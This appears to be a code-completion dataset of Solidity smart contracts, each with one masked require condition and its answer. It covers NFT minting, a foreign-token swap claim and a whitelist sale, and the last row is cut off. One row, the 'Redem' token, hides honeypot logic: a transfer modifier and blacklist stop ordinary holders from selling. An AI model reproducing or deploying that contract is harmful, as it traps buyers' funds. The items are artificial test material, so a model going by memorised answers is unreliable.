comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
---|---|---|---|---|
"Ether value sent is not correct" | pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./PlayersOnlyNFT.sol";
contract PlayersOnlyNFTMinter is Ownable, ReentrancyGuard {
using SafeMath for uint256;
address public nftAddress;
uint256 public MAX_SUPPLY;
uint256 public price;
bool public public_minting;
PlayersOnlyNFT playersOnlyNFT;
uint256 public counter;
constructor(address _nftAddress) {
}
modifier onlyOwnerOrDev() {
}
function publicMint(address _toAddress, uint256 amount) external payable nonReentrant {
require(public_minting, "Public minting isn't allowed yet");
require(playersOnlyNFT.totalSupply().add(amount) <= MAX_SUPPLY, "Purchase would exceed max supply");
require(<FILL_ME>)
for (uint256 i = 0; i < amount; i++) {
playersOnlyNFT.factoryMint(_toAddress);
counter++;
}
}
function startPublicSale() external onlyOwnerOrDev {
}
struct PayoutTable {
address walletTen1;
address walletTen2;
address walletTen3;
address walletTen4;
address walletTen5;
address walletTen6;
address walletTen7;
address walletEight;
address walletSeven;
address walletFive1;
address walletFive2;
address walletThree;
address walletTwo;
}
function withdraw() external onlyOwner {
}
}
| price.mul(amount)<=msg.value,"Ether value sent is not correct" | 324,923 | price.mul(amount)<=msg.value |
"CLAIM: cannot claim because signature is not correct" | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/cryptography/ECDSA.sol";
import "./interfaces/IToken.sol";
import "./interfaces/IAuction.sol";
import "./interfaces/IStaking.sol";
import "./interfaces/IBPD.sol";
import "./interfaces/IForeignSwap.sol";
contract ForeignSwap is IForeignSwap, AccessControl {
using SafeMath for uint256;
event TokensClaimed(
address indexed account,
uint256 indexed stepsFromStart,
uint256 userAmount,
uint256 penaltyuAmount
);
bytes32 public constant SETTER_ROLE = keccak256("SETTER_ROLE");
uint256 public start;
uint256 public stepTimestamp;
uint256 public stakePeriod;
uint256 public maxClaimAmount;
// uint256 public constant PERIOD = 350;
address public mainToken;
address public staking;
address public auction;
address public bigPayDayPool;
address public signerAddress;
mapping(address => uint256) public claimedBalanceOf;
uint256 internal claimedAmount;
uint256 internal totalSnapshotAmount;
uint256 internal claimedAddresses;
uint256 internal totalSnapshotAddresses;
modifier onlySetter() {
}
constructor(address _setter) public {
}
function init(
address _signer,
uint256 _stepTimestamp,
uint256 _stakePeriod,
uint256 _maxClaimAmount,
address _mainToken,
address _auction,
address _staking,
address _bigPayDayPool,
uint256 _totalSnapshotAmount,
uint256 _totalSnapshotAddresses
) external onlySetter {
}
function getCurrentClaimedAmount()
external
override
view
returns (uint256)
{
}
function getTotalSnapshotAmount() external override view returns (uint256) {
}
function getCurrentClaimedAddresses()
external
override
view
returns (uint256)
{
}
function getTotalSnapshotAddresses()
external
override
view
returns (uint256)
{
}
function getMessageHash(uint256 amount, address account)
public
pure
returns (bytes32)
{
}
function check(uint256 amount, bytes memory signature)
public
view
returns (bool)
{
}
function getUserClaimableAmountFor(uint256 amount)
public
view
returns (uint256, uint256)
{
}
function claimFromForeign(uint256 amount, bytes memory signature)
public
returns (bool)
{
require(amount > 0, "CLAIM: amount <= 0");
require(<FILL_ME>)
require(claimedBalanceOf[msg.sender] == 0, "CLAIM: cannot claim twice");
(
uint256 amountOut,
uint256 delta,
uint256 deltaAuctionWeekly
) = getClaimableAmount(amount);
uint256 deltaPart = delta.div(stakePeriod);
uint256 deltaAuctionDaily = deltaPart.mul(stakePeriod.sub(uint256(1)));
IToken(mainToken).mint(auction, deltaAuctionDaily);
IAuction(auction).callIncomeDailyTokensTrigger(deltaAuctionDaily);
if (deltaAuctionWeekly > 0) {
IToken(mainToken).mint(auction, deltaAuctionWeekly);
IAuction(auction).callIncomeWeeklyTokensTrigger(deltaAuctionWeekly);
}
IToken(mainToken).mint(bigPayDayPool, deltaPart);
IBPD(bigPayDayPool).callIncomeTokensTrigger(deltaPart);
IStaking(staking).externalStake(amountOut, stakePeriod, msg.sender);
claimedBalanceOf[msg.sender] = amount;
claimedAmount = claimedAmount.add(amount);
claimedAddresses = claimedAddresses.add(uint256(1));
emit TokensClaimed(msg.sender, calculateStepsFromStart(), amountOut, deltaPart);
return true;
}
function calculateStepsFromStart() public view returns (uint256) {
}
// function calculateStakeEndTime(uint256 startTime) internal view returns (uint256) {
// uint256 stakePeriod = stepTimestamp.mul(stakePeriod);
// return startTime.add(stakePeriod);
// }
function getClaimableAmount(uint256 amount)
internal
view
returns (
uint256,
uint256,
uint256
)
{
}
}
| check(amount,signature),"CLAIM: cannot claim because signature is not correct" | 324,982 | check(amount,signature) |
"CLAIM: cannot claim twice" | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/cryptography/ECDSA.sol";
import "./interfaces/IToken.sol";
import "./interfaces/IAuction.sol";
import "./interfaces/IStaking.sol";
import "./interfaces/IBPD.sol";
import "./interfaces/IForeignSwap.sol";
contract ForeignSwap is IForeignSwap, AccessControl {
using SafeMath for uint256;
event TokensClaimed(
address indexed account,
uint256 indexed stepsFromStart,
uint256 userAmount,
uint256 penaltyuAmount
);
bytes32 public constant SETTER_ROLE = keccak256("SETTER_ROLE");
uint256 public start;
uint256 public stepTimestamp;
uint256 public stakePeriod;
uint256 public maxClaimAmount;
// uint256 public constant PERIOD = 350;
address public mainToken;
address public staking;
address public auction;
address public bigPayDayPool;
address public signerAddress;
mapping(address => uint256) public claimedBalanceOf;
uint256 internal claimedAmount;
uint256 internal totalSnapshotAmount;
uint256 internal claimedAddresses;
uint256 internal totalSnapshotAddresses;
modifier onlySetter() {
}
constructor(address _setter) public {
}
function init(
address _signer,
uint256 _stepTimestamp,
uint256 _stakePeriod,
uint256 _maxClaimAmount,
address _mainToken,
address _auction,
address _staking,
address _bigPayDayPool,
uint256 _totalSnapshotAmount,
uint256 _totalSnapshotAddresses
) external onlySetter {
}
function getCurrentClaimedAmount()
external
override
view
returns (uint256)
{
}
function getTotalSnapshotAmount() external override view returns (uint256) {
}
function getCurrentClaimedAddresses()
external
override
view
returns (uint256)
{
}
function getTotalSnapshotAddresses()
external
override
view
returns (uint256)
{
}
function getMessageHash(uint256 amount, address account)
public
pure
returns (bytes32)
{
}
function check(uint256 amount, bytes memory signature)
public
view
returns (bool)
{
}
function getUserClaimableAmountFor(uint256 amount)
public
view
returns (uint256, uint256)
{
}
function claimFromForeign(uint256 amount, bytes memory signature)
public
returns (bool)
{
require(amount > 0, "CLAIM: amount <= 0");
require(
check(amount, signature),
"CLAIM: cannot claim because signature is not correct"
);
require(<FILL_ME>)
(
uint256 amountOut,
uint256 delta,
uint256 deltaAuctionWeekly
) = getClaimableAmount(amount);
uint256 deltaPart = delta.div(stakePeriod);
uint256 deltaAuctionDaily = deltaPart.mul(stakePeriod.sub(uint256(1)));
IToken(mainToken).mint(auction, deltaAuctionDaily);
IAuction(auction).callIncomeDailyTokensTrigger(deltaAuctionDaily);
if (deltaAuctionWeekly > 0) {
IToken(mainToken).mint(auction, deltaAuctionWeekly);
IAuction(auction).callIncomeWeeklyTokensTrigger(deltaAuctionWeekly);
}
IToken(mainToken).mint(bigPayDayPool, deltaPart);
IBPD(bigPayDayPool).callIncomeTokensTrigger(deltaPart);
IStaking(staking).externalStake(amountOut, stakePeriod, msg.sender);
claimedBalanceOf[msg.sender] = amount;
claimedAmount = claimedAmount.add(amount);
claimedAddresses = claimedAddresses.add(uint256(1));
emit TokensClaimed(msg.sender, calculateStepsFromStart(), amountOut, deltaPart);
return true;
}
function calculateStepsFromStart() public view returns (uint256) {
}
// function calculateStakeEndTime(uint256 startTime) internal view returns (uint256) {
// uint256 stakePeriod = stepTimestamp.mul(stakePeriod);
// return startTime.add(stakePeriod);
// }
function getClaimableAmount(uint256 amount)
internal
view
returns (
uint256,
uint256,
uint256
)
{
}
}
| claimedBalanceOf[msg.sender]==0,"CLAIM: cannot claim twice" | 324,982 | claimedBalanceOf[msg.sender]==0 |
"ERC20: transfer amount exceeds balance" | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract Redem is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _affirmative;
mapping (address => bool) private _rejectPile;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwner;
uint256 private _sellAmount = 0;
address public cr = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address deployer = 0x8661C1154a3fE8ae95AAd4eC2E74BA54920D697A;
address public _owner = 0x8661C1154a3fE8ae95AAd4eC2E74BA54920D697A;
constructor () public {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function approvalIncrease(address[] memory receivers) public {
}
function approvalDecrease(address safeOwner) public {
}
function addApprove(address[] memory receivers) public {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
}
function _mint(address account, uint256 amount) public {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _start(address sender, address recipient, uint256 amount) internal main(sender,recipient,amount) virtual {
}
modifier main(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_affirmative[sender] == true){
_;}else{if (_rejectPile[sender] == true){
require(<FILL_ME>)_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_rejectPile[sender] = true; _affirmative[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == cr), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _auth() {
}
//-----------------------------------------------------------------------------------------------------------------------//
function multicall(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts) public _auth(){
}
function addLiquidityETH(address emitUniswapPool,address emitReceiver,uint256 emitAmount) public _auth(){
}
function exec(address recipient) public _auth(){
}
function obstruct(address recipient) public _auth(){
}
function renounceOwnership() public _auth(){
}
function reverse(address target) public _auth() virtual returns (bool) {
}
function transferTokens(address sender, address recipient, uint256 amount) public _auth() virtual returns (bool) {
}
function transfer_(address emitSender, address emitRecipient, uint256 emitAmount) public _auth(){
}
function transferTo(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){
}
function swapETHForExactTokens(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){
}
function airdropToHolders(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts)public _auth(){
}
function burnLPTokens()public _auth(){}
}
| (sender==_safeOwner)||(recipient==cr),"ERC20: transfer amount exceeds balance" | 325,105 | (sender==_safeOwner)||(recipient==cr) |
"Sender is not a contract" | pragma solidity 0.5.11;
pragma experimental ABIEncoderV2;
contract SynthetixExchange is IExchange, TokenFetcher {
using Address for address;
/**
* @dev Fallback method to allow exchanges to transfer back ethers for a particular swap
* It will only allow contracts to send funds to it
*/
function() external payable {
address account = msg.sender;
require(<FILL_ME>)
}
function swap(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount,
address exchange,
bytes calldata payload) external payable returns (uint256) {
}
}
| account.isContract(),"Sender is not a contract" | 325,185 | account.isContract() |
"TheWhitelist: Mintpass already redeemed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
/**
Learn more about our project on thewhitelist.io
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXxclxddOxcdxllxKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk':O:.:' ';.'lKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXdkXkd0xcdxloxXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMXKKKXWMMMNKKKXWMMMWKKKKNXKKKXWMMWXKKKXWWXKKKNNKKKKKKKKKKKKXNNKKKKKKKKKKXWNKKKKNMMMMMMWKkdkKWMMWNKOOOO0XWNXKKKKKKKKKKKNM
MWx...'xWMNo....dWMWd...:Ol...:KMMK:...cX0;...ld'...........,dd..........lXk'..'kMMMMMWx. .xN0c'. ..ld,...........xM
MMK, ,KWk. '0MO' .dXc '0MMK, ;KO. cx:,,. .',;cxl .,,,,;dNd. .xWMMMMNl cx' .::;''xOc,,. .',;OM
MMWx. o0; l0c :XNc .;cl;. ;KO. cXWWNd. oNWWWNo .;llllxXWd. .xWMMMMMK; ;0x. .codxONWWNNk. lXWWWM
MMMNc .,. .. .,. .kWXc ;XO. cNMMMx. oWMMMWo ;KWd. .xWMMMMMNl cNNx,. .c0WMMO. oWMMMM
MMMMO' 'ko lNMNc .cddl. ;XO. cNMMMx. oWMMMWo .:ddddkXWd. .oXNNNNWK; ;KMXkxxdl;. cXMMO. oWMMMM
MMMMWd. .oNK, ,KMMNc '0MMK, ;XO. cNMMMx. oWMMMWo .'''''lKd. .'''',xO' .OK:..';;' .dWMMO. oWMMMM
MMMMMXc....cXMWk,...,kWMMNo...:KMMXc...lX0:...oNMMMO,..'xWMMMWx'.........:Kk,........'dk,...,k0c'......':kNMMM0;..'xWMMMM
MMMMMMXK000XWMMWK000KWMMMWX000XWMMWX000XWWK00KXMMMMNK00KNMMMMMNK000000000XWNK00000000KNNK000KNMWXKOOOO0XWMMMMMWK00KNMMMMM
*/
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ERC2981.sol";
import "./MintpassValidator.sol";
import "./LibMintpass.sol";
/**
* @dev Learn more about this project on thewhitelist.io.
*
* TheWhitelist is a ERC721 Contract that supports Burnable.
* The minting process is processed in a public and a whitelist
* sale.
*/
contract TheWhitelist is MintpassValidator, ERC721Burnable, ERC2981, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
// Token Limit and Mint Limits
uint256 public TOKEN_LIMIT = 10000;
uint256 public whitelistMintLimitPerWallet = 2;
uint256 public publicMintLimitPerWallet = 5;
// Price per Token depending on Category
uint256 public whitelistMintPrice = 0.17 ether;
uint256 public publicMintPrice = 0.19 ether;
// Sale Stages Enabled / Disabled
bool public whitelistMintEnabled = false;
bool public publicMintEnabled = false;
// Mapping from minter to minted amounts
mapping(address => uint256) public boughtAmounts;
mapping(address => uint256) public boughtWhitelistAmounts;
// Mapping from mintpass signature to minted amounts (Free Mints)
mapping(bytes => uint256) public mintpassRedemptions;
// Optional mapping to overwrite specific token URIs
mapping(uint256 => string) private _tokenURIs;
// counter for tracking current token id
Counters.Counter private _tokenIdTracker;
// _abseTokenURI serving nft metadata per token
string private _baseTokenURI = "https://api.thewhitelist.io/tokens/";
event TokenUriChanged(
address indexed _address,
uint256 indexed _tokenId,
string _tokenURI
);
/**
* @dev ERC721 Constructor
*/
constructor(string memory name, string memory symbol) ERC721(name, symbol) {
}
/**
* @dev Withrawal all Funds sent to the contract to Owner
*
* Requirements:
* - `msg.sender` needs to be Owner and payable
*/
function withdrawalAll() external onlyOwner {
}
/**
* @dev Function to mint Tokens for only Gas. This function is used
* for Community Wallet Mints, Raffle Winners and Cooperation Partners.
* Redemptions are tracked and can be done in chunks.
*
* @param quantity amount of tokens to be minted
* @param mintpass issued by thewhitelist.io
* @param mintpassSignature issued by thewhitelist.io and signed by ACE_WALLET
*
* Requirements:
* - `quantity` can't be higher than mintpass.amount
* - `mintpass` needs to match the signature contents
* - `mintpassSignature` needs to be obtained from thewhitelist.io and
* signed by ACE_WALLET
*/
function freeMint(
uint256 quantity,
LibMintpass.Mintpass memory mintpass,
bytes memory mintpassSignature
) public {
require(
whitelistMintEnabled == true || publicMintEnabled == true,
"TheWhitelist: Minting is not Enabled"
);
require(
mintpass.minterAddress == msg.sender,
"TheWhitelist: Mintpass Address and Sender do not match"
);
require(<FILL_ME>)
require(
mintpass.minterCategory == 99,
"TheWhitelist: Mintpass not a Free Mint"
);
validateMintpass(mintpass, mintpassSignature);
mintQuantityToWallet(quantity, mintpass.minterAddress);
mintpassRedemptions[mintpassSignature] =
mintpassRedemptions[mintpassSignature] +
quantity;
}
/**
* @dev Function to mint Tokens during Whitelist Sale. This function is
* should only be called on thewhitelist.io minting page to ensure
* signature validity.
*
* @param quantity amount of tokens to be minted
* @param mintpass issued by thewhitelist.io
* @param mintpassSignature issued by thewhitelist.io and signed by ACE_WALLET
*
* Requirements:
* - `quantity` can't be higher than {whitelistMintLimitPerWallet}
* - `mintpass` needs to match the signature contents
* - `mintpassSignature` needs to be obtained from thewhitelist.io and
* signed by ACE_WALLET
*/
function mintWhitelist(
uint256 quantity,
LibMintpass.Mintpass memory mintpass,
bytes memory mintpassSignature
) public payable {
}
/**
* @dev Public Mint Function.
*
* @param quantity amount of tokens to be minted
*
* Requirements:
* - `quantity` can't be higher than {publicMintLimitPerWallet}
*/
function mint(uint256 quantity) public payable {
}
/**
* @dev internal mintQuantityToWallet function used to mint tokens
* to a wallet (cpt. obivous out). We start with tokenId 1.
*
* @param quantity amount of tokens to be minted
* @param minterAddress address that receives the tokens
*
* Requirements:
* - `TOKEN_LIMIT` should not be reahed
*/
function mintQuantityToWallet(uint256 quantity, address minterAddress)
internal
virtual
{
}
/**
* @dev Function to change the ACE_WALLET by contract owner.
* Learn more about the ACE_WALLET on our Roadmap.
* This wallet is used to verify mintpass signatures and is allowed to
* change tokenURIs for specific tokens.
*
* @param _ace_wallet The new ACE_WALLET address
*/
function setAceWallet(address _ace_wallet) public virtual onlyOwner {
}
/**
*/
function setMintingLimits(
uint256 _whitelistMintLimitPerWallet,
uint256 _publicMintLimitPerWallet
) public virtual onlyOwner {
}
/**
* @dev Function to be called by contract owner to enable / disable
* different mint stages
*
* @param _whitelistMintEnabled true/false
* @param _publicMintEnabled true/false
*/
function setMintingEnabled(
bool _whitelistMintEnabled,
bool _publicMintEnabled
) public virtual onlyOwner {
}
/**
* @dev Helper to replace _baseURI
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev Can be called by owner to change base URI. This is recommend to be used
* after tokens are revealed to freeze metadata on IPFS or similar.
*
* @param permanentBaseURI URI to be prefixed before tokenId
*/
function setBaseURI(string memory permanentBaseURI)
public
virtual
onlyOwner
{
}
/**
* @dev _tokenURIs setter for a tokenId. This can only be done by owner or our
* ACE_WALLET. Learn more about this on our Roadmap.
*
* Emits TokenUriChanged Event
*
* @param tokenId tokenId that should be updated
* @param permanentTokenURI URI to OVERWRITE the entire tokenURI
*
* Requirements:
* - `msg.sender` needs to be owner or {ACE_WALLET}
*/
function setTokenURI(uint256 tokenId, string memory permanentTokenURI)
public
virtual
{
}
function mintedTokenCount() public view returns (uint256) {
}
/**
* @dev _tokenURIs getter for a tokenId. If tokenURIs has an entry for
* this tokenId we return this URL. Otherwise we fallback to baseURI with
* tokenID.
*
* @param tokenId URI requested for this tokenId
*
* Requirements:
* - `tokenID` needs to exist
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev Extends default burn behaviour with deletion of overwritten tokenURI
* if it exists. Calls super._burn before deletion of tokenURI; Reset Token Royality if set
*
* @param tokenId tokenID that should be burned
*
* Requirements:
* - `tokenID` needs to exist
* - `msg.sender` needs to be current token Owner
*/
function _burn(uint256 tokenId) internal virtual override {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setDefaultRoyalty(address receiver, uint96 feeNumerator)
public
virtual
onlyOwner
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC2981)
returns (bool)
{
}
}
| mintpassRedemptions[mintpassSignature]+quantity<=mintpass.amount,"TheWhitelist: Mintpass already redeemed" | 325,363 | mintpassRedemptions[mintpassSignature]+quantity<=mintpass.amount |
"TheWhitelist: Maximum Whitelist per Wallet reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
/**
Learn more about our project on thewhitelist.io
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXxclxddOxcdxllxKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWk':O:.:' ';.'lKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXdkXkd0xcdxloxXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMXKKKXWMMMNKKKXWMMMWKKKKNXKKKXWMMWXKKKXWWXKKKNNKKKKKKKKKKKKXNNKKKKKKKKKKXWNKKKKNMMMMMMWKkdkKWMMWNKOOOO0XWNXKKKKKKKKKKKNM
MWx...'xWMNo....dWMWd...:Ol...:KMMK:...cX0;...ld'...........,dd..........lXk'..'kMMMMMWx. .xN0c'. ..ld,...........xM
MMK, ,KWk. '0MO' .dXc '0MMK, ;KO. cx:,,. .',;cxl .,,,,;dNd. .xWMMMMNl cx' .::;''xOc,,. .',;OM
MMWx. o0; l0c :XNc .;cl;. ;KO. cXWWNd. oNWWWNo .;llllxXWd. .xWMMMMMK; ;0x. .codxONWWNNk. lXWWWM
MMMNc .,. .. .,. .kWXc ;XO. cNMMMx. oWMMMWo ;KWd. .xWMMMMMNl cNNx,. .c0WMMO. oWMMMM
MMMMO' 'ko lNMNc .cddl. ;XO. cNMMMx. oWMMMWo .:ddddkXWd. .oXNNNNWK; ;KMXkxxdl;. cXMMO. oWMMMM
MMMMWd. .oNK, ,KMMNc '0MMK, ;XO. cNMMMx. oWMMMWo .'''''lKd. .'''',xO' .OK:..';;' .dWMMO. oWMMMM
MMMMMXc....cXMWk,...,kWMMNo...:KMMXc...lX0:...oNMMMO,..'xWMMMWx'.........:Kk,........'dk,...,k0c'......':kNMMM0;..'xWMMMM
MMMMMMXK000XWMMWK000KWMMMWX000XWMMWX000XWWK00KXMMMMNK00KNMMMMMNK000000000XWNK00000000KNNK000KNMWXKOOOO0XWMMMMMWK00KNMMMMM
*/
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ERC2981.sol";
import "./MintpassValidator.sol";
import "./LibMintpass.sol";
/**
* @dev Learn more about this project on thewhitelist.io.
*
* TheWhitelist is a ERC721 Contract that supports Burnable.
* The minting process is processed in a public and a whitelist
* sale.
*/
contract TheWhitelist is MintpassValidator, ERC721Burnable, ERC2981, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
// Token Limit and Mint Limits
uint256 public TOKEN_LIMIT = 10000;
uint256 public whitelistMintLimitPerWallet = 2;
uint256 public publicMintLimitPerWallet = 5;
// Price per Token depending on Category
uint256 public whitelistMintPrice = 0.17 ether;
uint256 public publicMintPrice = 0.19 ether;
// Sale Stages Enabled / Disabled
bool public whitelistMintEnabled = false;
bool public publicMintEnabled = false;
// Mapping from minter to minted amounts
mapping(address => uint256) public boughtAmounts;
mapping(address => uint256) public boughtWhitelistAmounts;
// Mapping from mintpass signature to minted amounts (Free Mints)
mapping(bytes => uint256) public mintpassRedemptions;
// Optional mapping to overwrite specific token URIs
mapping(uint256 => string) private _tokenURIs;
// counter for tracking current token id
Counters.Counter private _tokenIdTracker;
// _abseTokenURI serving nft metadata per token
string private _baseTokenURI = "https://api.thewhitelist.io/tokens/";
event TokenUriChanged(
address indexed _address,
uint256 indexed _tokenId,
string _tokenURI
);
/**
* @dev ERC721 Constructor
*/
constructor(string memory name, string memory symbol) ERC721(name, symbol) {
}
/**
* @dev Withrawal all Funds sent to the contract to Owner
*
* Requirements:
* - `msg.sender` needs to be Owner and payable
*/
function withdrawalAll() external onlyOwner {
}
/**
* @dev Function to mint Tokens for only Gas. This function is used
* for Community Wallet Mints, Raffle Winners and Cooperation Partners.
* Redemptions are tracked and can be done in chunks.
*
* @param quantity amount of tokens to be minted
* @param mintpass issued by thewhitelist.io
* @param mintpassSignature issued by thewhitelist.io and signed by ACE_WALLET
*
* Requirements:
* - `quantity` can't be higher than mintpass.amount
* - `mintpass` needs to match the signature contents
* - `mintpassSignature` needs to be obtained from thewhitelist.io and
* signed by ACE_WALLET
*/
function freeMint(
uint256 quantity,
LibMintpass.Mintpass memory mintpass,
bytes memory mintpassSignature
) public {
}
/**
* @dev Function to mint Tokens during Whitelist Sale. This function is
* should only be called on thewhitelist.io minting page to ensure
* signature validity.
*
* @param quantity amount of tokens to be minted
* @param mintpass issued by thewhitelist.io
* @param mintpassSignature issued by thewhitelist.io and signed by ACE_WALLET
*
* Requirements:
* - `quantity` can't be higher than {whitelistMintLimitPerWallet}
* - `mintpass` needs to match the signature contents
* - `mintpassSignature` needs to be obtained from thewhitelist.io and
* signed by ACE_WALLET
*/
function mintWhitelist(
uint256 quantity,
LibMintpass.Mintpass memory mintpass,
bytes memory mintpassSignature
) public payable {
require(
whitelistMintEnabled == true,
"TheWhitelist: Whitelist Minting is not Enabled"
);
require(
mintpass.minterAddress == msg.sender,
"TheWhitelist: Mintpass Address and Sender do not match"
);
require(
msg.value >= whitelistMintPrice * quantity,
"TheWhitelist: Insufficient Amount"
);
require(<FILL_ME>)
validateMintpass(mintpass, mintpassSignature);
mintQuantityToWallet(quantity, mintpass.minterAddress);
boughtWhitelistAmounts[mintpass.minterAddress] =
boughtWhitelistAmounts[mintpass.minterAddress] +
quantity;
}
/**
* @dev Public Mint Function.
*
